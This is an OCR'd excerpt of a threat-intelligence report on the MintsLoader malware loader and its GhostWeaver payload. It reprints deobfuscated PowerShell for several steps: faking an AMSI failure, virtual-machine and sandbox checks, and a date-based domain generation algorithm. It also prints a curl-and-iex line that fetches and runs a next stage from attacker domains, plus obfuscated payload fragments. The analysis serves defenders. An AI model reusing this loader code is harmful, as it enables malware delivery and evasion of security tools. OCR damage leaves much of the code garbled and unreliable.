+337))), (347930/3163), (-1@07+(3709-2586) ), (-5398+5512) , ( -3815+(16473496/4196) ) , (-387+495), (9110-9002) ,

2293-2192),(119358/(2620-1573)))| ForEach-Object { $_ 1)) | Select-Object $global:fogjinelbdw.

[char[11@((-4627+(5716256/(-7090+8298))), (428010/(37116249/9539 ),(714-596),{-8175+ 12693- (9272-4865)
(866058/(4155+3939) ), (681750/(15119-8369) ), (421542/4258),(-4358+4469), (-5664+(-3560+9333) ), (261491/

347855/145) ), (9803-8906), (9718-(10898-1290) ), (-5499+(15296468/ ( - 2567+~ -1749+(476797208/(33392040/ (8608384/
4168168/ (23634710/(2267+7622))))))))))) -join '').([system.String]::new(@((456823/(10496-5973)),(1198560/
(2676+(13698-6386))),(148512/(12663300/9550) ), (-433+(3567430/(67909059/ (14605-(1259964/ (-3060+(4374090/
1310))))))), 839419/(762652/(7857 5334+(7353 4922) 1)), (-2098+(9188- 6996) . -7445+7569 ,(260536/2246) ,

Figure 17: Stage two PowerShell obfuscation (Source: Recorded Future)

After the initial deobfuscation and decoding, the second stage of PowerShell starts by attempting to bypass
Antimalware Scan Interface (AMSI) using a known technique to fake AMSI initialization failure: setting the

variable amsilnitFailed of the System.Management.Automation.AmsiUtils object to TRUE.

The rest of the code is responsible for executing three system information queries: the return values used in logical
expressions to detect whether the system is running on bare metal, sandbox, or virtual machine. This is conveyed
to the C2 through an integer variable sent as the URL parameter key, and the C2 examines its value to determine if
its response will return a third stage that downloads the final payload or a decoy. It should be noted that the

constant integer values used to increment the key variable change with each second-stage sample.

The result of each system information query is checked against three logical expressions, the order of which varies
per sample, along with constants that increment the key, whose results affect the key variable value. The logical
expressions may not provide apparent results on initial inspection. For example, if the first deobfuscated system
check, shown below in Figure 18, were to run on a virtual machine, the $isVirtualMachine variable would be
equal to $true. The logical expression "$true -eq 3" evaluates to $true in PowerShell, increasing the key by
15310805757 instead of 83670406277.
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$isVirtualMachine = (Get-MpComputerStatus).($executioncontext.InvokeCommand.ExpandString(“IsVirtualMachine™))
switch ($true) {
{ $isvirtualMachine -eq 3 } {
$key += 15310805757
break

{ $isVirtualMachine -eq $fz
$key += 19338251685

break

{ $isVirtualMachine -eq $tru
$key += 83670406277
break

Figure 18: Stage two PowerShell virtual machine check (Source: Recorded Future)

The second system check queries the AdapterDACType member of the Win32 VideoController WMI object to

obtain the name or identifier of the digital-to-analog converter (DAC) chip, as shown in Figure 19. This
determines whether the infected system is running on an emulator or virtually. Typically, a Windows system will
return "Internal" and/or "Integrated RAMDAC," which would increment the key by 14467965888 in this example.

$dactype =
Get-WmiObject $executioncontext.InvokeCommand.ExpandString(“Win32 VideoController")
Select-Object $executioncontext.InvokeCommand.ExpandString("AdapterDACType")
) | Out-String
switch ($true) {
{$dactype -match "VMware" -or $dactype -match "dBochs"}{
$key += 83014370017
break

If

{$dactype -match "Intel” -or $dactype -match "SeaBIOS"} {
$key += 28201181963
break

It

{$dactype -match "Internal” -or $dactype -match "Integrated"} {
$key += 14467965888
break

Figure 19: Stage two PowerShell video controller check (Source: Recorded Future)

The third system check queries the purpose member of the Win32 CacheMemory WMI object, which will equal

"L1 Cache" on a typical Windows system. The non-obvious logical expression "$11CachePurpose.length —gt 4"
will execute in the optimal case, incrementing the key value by 27424330481 in the deobfuscated example seen in

Figure 20.
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$seed [int](Get-Date).DayOfYear + 1995584850
$rand New-Object "System.Random" $seed
$randomString =
for ($i = 5; $i -1t 15; $i++) {
$randomChars = "abcdefghijklmn™
$index = $rand.Next(e, 14)
$randomString += $randomChars[$index]

nn

¥

$extension = ".top"

$domain = $randomString + $extension

$randl = -join ((48..57) + (97..122) | Get-Random -Count 10| % {

$rand2 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % {

$basename ="$($randl)htr$($findom)™;

$global:block = (curl -useb "http://$domain/$basename.php?id=$env:computername&key=$key&s=flibabc12");
iex $global:block

Figure 20: Stage two PowerShell memory check (Source: Recorded Future)

The system checks and calculation of the key are followed by generating a random seed based on the date and a
constant, which is used with a system.Random object to construct the domain using a simple DGA and the URL
path, as shown in Figure 21. The author may have made a mistake by not using the second random variable to
construct the URL path. Instead, they use an undefined variable for the URL path ending, making the URL path
ending a constant "htr.php". Note that in PowerShell, curl is an alias for Invoke-WebRequest, which is used to

generate the request to the C2 for the third stage, so the User-Agent HTTP header will include PowerShell version
information, not curl.

$seed [int](Get-Date).DayOfYear + 1995584850
$rand New-Object "System.Random" $seed
$randomString = ""
for ($i = 5; $i -1t 15; $i++) {

$randomChars = "abcdefghijklmn"

$index = $rand.Next(e, 14)

$randomString += $randomChars[$index]
i

$extension = ".top"

$domain = $randomString + $extension

$randl = -join ((48..57) + (97..122) | Get-Random -Count 18| % {[c

$rand2 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % {[char]$_});

$basename ="$($rand1l)htr$($findom)™;

$global:block = (curl -useb "http://$domain/$basename.php?id=$env:computername&key=$key&s=flibabc12");
iex $global:block

S

Figure 21: Stage two PowerShell final payload retrieval (Source: Recorded Future)
Stage Two C2 Communication

Figure 22 shows an example of a MintsLoader request for the final payload, with a URL path ending in htr.php.
The URL parameter id is the hostname, and the URL parameter s is the campaign ID.

GET /tj@1b74pvdhtr.php?id=MXBFLKXE&key=61358110898&s=flibabc12 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: aabmieglhidedln.top
Connection: Keep-Alive

Figure 22: Recent stage two C2 GET Request (Source: Recorded Future)
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An example of an earlier MintsLoader request for the third stage is shown in Figure 23, with the URL path not

randomized but instead the constant string "2.php".

GET /2.php?id=HFPAJDPV&key=127189510331&s=515 HTTP/1.1
User—Agent: Mozilla/5.@ (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: nchjcmfebbhkldn.top

Figure 23: Older stage two C2 GET Request (Source: Recorded Future)

If the second-stage request does not meet specific requirements, the final payload may lead to a decoy executable
(Figure 24), as in this example, which leads to an AsyncRAT decoy executable downloaded from the site
templ.]sh. This association with AsyncRAT led to initial naming in reports and some countermeasures for network
traffic as "AsyncRAT Loader", which causes MintsLoader malware samples to be incorrectly tagged as AsyncRAT

even though current MintsLoader campaigns do not deploy AsyncRAT.

A recent successful attempt is shown in Figure 25; in this example, the final payload is GhostWeaver.

GET /I “htr.php?id= &key= 1&s=flibabc25 HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2364
Host: mgibfgcefbdahig.top

Connection: Keep-Alive

HTTP/1.1 200 OK

Date:

Content-Type: text/plain

Content-Length: MR

Connection: keep-alive

Server: K

$global:keystr=streams\flibabc25\stub\61541584961;& (([system.String]::new(@((-2020+(13849745/6487)),(7011-6910), (5259-5143), (261675/
(7228045/1243)), (110289/1137), (565272/5234), ( -8443+8548), (1481~ (7498-(4891+1223))), (6216~ (7518~ (2983433/2049))))))) icadbmhyxeqgrl ([char[]]1@((3067-
(-1811+(6442-(2224222/1313)))), (-6134+6245), (895812/7858), (223077/3233), (2833-(4324-1588) ), (-4565+4664), (674336/6484), (1764-1719), (1537-1458),
(16115-16017), (301146/2841), (-8692+8793), (6619-6520), (260072/2242)) -join '');& (([char[]]@((854795/(8568-(-6538+7673))), (-5376+5477),
(1002588/8643), (302400/6720), (285374/( -1314+(8198- (-668+4610)))), (4626~ (-2486+7004) ), (732795/(10091-(13384712/(344+3957)))), (585686/6038),
(8733-8618)) -join '')) jwkgeyvsabc ([system.String]::new(@((440790/(3625+2672)),(926739/8349), (8585-8471), (7946-(9580-(-6367+8070))), (-6895+(-973+
(3905+( 29577100/ (16711~ (1536+(79712670/10103))))))), (-5845+(42832464/(13110- (26036640/4410)))), (1288-1184), (421380/(5767+3597)), (777281/9839),
(1808-1710), (832948/(45937868/5846) ), (-4781+(38973006/7983) ), (9145-9046), (10186~ (279+9791)))));& ((-join (@((-8895+(70350080/(6283+1525))),
(5541-5440), (607028/5233), (6950-6905), (-7239+(1505+(35271719/6049)) ), (1005264/9308), (-5693+(54648352/(17002-7578))), (937602/(1022+8644)), (6467 -
(47271584/(6172+(-3612+4882)))))| ForEach-Object { [char]$_ }))) bhclaguok ([char[]]@((425956/(53992205/(-186+(3606+5453)))), (56@9-5498),
(-1830+1944), (499698/7242), (-7891+7988), (947628/9572), (727168/6992), (1178~ (-6099+7224)), (2318-2239), (483532/(11380-6446)), (780690/7365),
(-5443+5544), ( -7496+(27076175/(4131835/1159) ) ), (-2001+2117)) -join '');& (([system.String]::new(@((-10624+(29180042/2878)), (9139-(26228276/(-924+
(-4735+8561))) ), (4975- (16734386/3444) ), (6710~ (49647585/7449)), (941694/9702), (4175- (5226895/1285) ), (7805 ( -683+ (16652~ (6129+1540))) ), (578799/5967),
(-5528+5643))))) strzpedikc (-join (@((-2340+2422), (689527/(-408+7235)), (808533/(60721645/(4823+(17599656/(307+6431))))), (939401/9301), (5630168/
(14229-(78785261/7983) ) ), (8309-(51292042/6262) ), (3023-2922), (-1969+( -2305+4280) ), (937638/8014), ( -3339+(5763-2322) ), (2474- (5942 (5245- (2991 - (5008 -
(-4004+(4348+3340))))))), (5598-(3370+2127) ), (4043587 (32015222/( -915+(34415742/3462)))), (612789/(58104210/7878) ), (-2001+2186), ( -2781+(8911-6008) ),
(4337-(29219928/6898)) )| ForEach-Object { [char]$_ }));& ((-join (@((-3307+(34959152/(29084952/( -4852+(14864-7165))))), (6895-6794), (7374-7258),
(-6678+6723), (489947/(14175-(58183748/6377))), (-7049+(8565-1408) ), (3447-3342), (542521/(592+5001) ), (6968-(3942+2911)))| ForEach-oObject { [char]$_
}))) jrocbg ([system.String]::new(@((-6799+6860))));& (([system.String]::new(@((-8921+9836), (8099-(49227690/(16057-9962))), (-996+1112), (273915/
(-1161+(-1077+(13513- (6313- (4575375/(41031963/10089)))))) ), (7466-7369), (987660/9145), ( -5908+(11200- (-1614+6881))), (B868-8771), ( -9616+
(17125-7394)))))) knzywda ([char[]]@((247602/5881)) -join '');& (([char[]]@((-8418+(32766720/(10823-(22226889/(22853940/7180))))), ( -8351+(19963624/
(7994-5632))), (7179~ (13226-6163) ), (-4855+41060), ( -7820+( 72970989/ ( 78860652/8556)) ), (325728/3016), (969306/8660), (3146~ (-1415+(9011- (7926~ (8259 -
(1836+3044)))))), (-5767+(9733-(8874-5023)))) -join '')) uglmdxrgqzveb (-join (@((7784-(9553-1830)))| ForEach-Object { [char]$_ }));& ((-join
(@((6746-6631), (9535-9434), (9692- (14483~ (8135- (14354916/ (12486~ ( -213+8252))))) ), (125655/2779), (8553~ (7115+( -7161+8502)) ), (527688/4886), (1770~
(10883-9218) ), (6579-(15758-9276) ), (994520/(394+(66403430/(6732+1313)))))| ForEach-Object { [char]$_ }))) idfmhkwacz ([char[]]@((-1058+(9633800/
(11078~ (15314320/6601))))) -join '');& (([system.String]::new(@((3942-(-2954+6781)), (3536-(-4370+(819+6986))), (-8434+8550), (5318-5273),
(464727/4791), (-5693+(52591866/ (696+( 7065+ ( -5448+6753)))) ), (6695- ( -3274+9864)), (7384-7287), (10285- (56250270/(8002-2471))))))) vewtxmzlijky
([system.String]: :new(@((-3537+(14741806/(2016+2087))))));& (([char[]]@((-1600+(1461765/1311)), (7027-6926), (236872/2042), (57780/(10143-8859)),
(-7211+(12207-4899)), (-2613+(-4253+6974)), (203595/1939), (681910/7030), (226205/1967)) -join '')) dwxefsjmkvp ([system.String]::new(@((-8680+8790),
(-8026+(16750- (12285-3662) ) ), (-3429+(6659-3111)))));& (([char[]1]@((325918/2834), (2983-2882), (-9864+9980), (-6906+6945), (6593-6496), (196452/

Figure 25: MintsLoader GhostWeaver payload (Source: Recorded Future)
GhostWeaver

One of the most commonly observed payloads deployed by MintsLoader is GhostWeaver, a PowerShell-based
remote access trojan (RAT) exhibiting code similarities and functional overlaps with MintsLoader. Notably,
GhostWeaver can deploy MintsLoader as an additional payload via its sendPlugin command. Communication
between GhostWeaver and its command-and-control (C2) server is secured through TLS encryption using an
obfuscated, self-signed X.509 certificate embedded directly within the PowerShell script, which is leveraged for

client-side authentication to the C2 infrastructure.
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https://www.recordedfuture.com /research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting

GhostWeaver has periodically been misclassified as AsyncRAT. Insikt Group assesses with moderate confidence
that this misclassification originated from Palo Alto Networks initially identifying a GhostWeaver sample
(SHA256: fb0238b388d9448a6b36acade6a9edfbebac3afc239cb70251778d40351b5765) as a fileless AsyncRAT

variant. GhostWeaver and AsyncRAT share certain characteristics within their self-signed X.509 certificates, such

as identical expiration dates and serial number lengths; however, these similarities may simply reflect common

certificate-generation methods rather than meaningful operational overlap.

MintsLoader Infrastructure

Insikt Group initially found MintsLoader C2 servers hosted solely on BLNWX but later observed its growing use
of other ISPs such as Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd. (AS199959), or SCALAXY-AS

(58061), among others. MintsLoader C2 IP addresses announced via SCALAXY-AS are operated by hosting

providers 3NT Solutions LLP and IROKO Networks Corporation, both of which are a part of the Russian-

language bulletproof hosting provider Inferno Solutions (inferno[.Jname). The switch to SCALAXY-AS and Stark

Industries Solutions suggests that MintsL.oader operators have shifted from relying on anonymous virtual private

server (VPS) providers to more traditional bulletproof hosters, likely in an effort to harden their infrastructure

against takedown attempts and enhance operational stability.

Over the past several months, Insikt Group has identified a range of suspected additional campaign IDs and

payloads (Table 2). This data is compiled from open research and Insikt Group’s internal research.

Campaign Observed Final Last Date

ID Payload Active Notes

521 StealC 2025-04-20

522 StealC 2025-04-20

523 StealC 2025-04-20  observed in connection with AsyncRAT infections
524 StealC 2025-04-20 N/A

527 GhostWeaver 2025-04-20  Linked to TAG-124 by Insikt Group

flibabc11 GhostWeaver 2025-04-20
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https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-02-21-IOCs-from-SocGholish-AsyncRAT-infection.txt
https://www.google.com/url?q=https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software&sa=D&source=editors&ust=1745519597163865&usg=AOvVaw3hoC7Z8x9cc2rQLp41Caiu

Campaign
ID

flibabc12

flibabc13

flibabc14

flibabc21

flibabc22

flibabc23

flibabc25

515

578

579

boicn

mints1

mints11

https://www.recordedfuture.com /research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting

Observed Final

Payload

GhostWeaver

GhostWeaver

StealC

GhostWeaver

GhostWeaver

GhostWeaver

GhostWeaver

N/A

N/A

N/A

N/A

N/A

N/A

Last Date

Active

2025-04-20

2025-04-20

2025-04-20

2025-04-20

2025-04-20

2025-04-20

2025-04-20

N/A

N/A

N/A

N/A

N/A

N/A

Notes

Observed in connection with AsyncRAT infections

Linked to TAG-124 via the domain sesraw[.]com,
which Insikt Group had previously linked to TAG-124

Observed in connection with AsyncRAT infections

Observed in connection with AsyncRAT infections

N/A

N/A
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Campaign Observed Final Last Date

. Notes
ID Payload Active
mints12 N/A N/A N/A
mints13 N/A N/A N/A
mints21 N/A N/A N/A

Table 2: Suspected MintsLoader campaign IDs (Source: Recorded Future)

Two additional potential campaign IDs, js2 and dav, were observed in 2023, with js2 identified in an AsyncRAT

infection.

To read the entire analysis, click here to download the report as a PDF.

Source: https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
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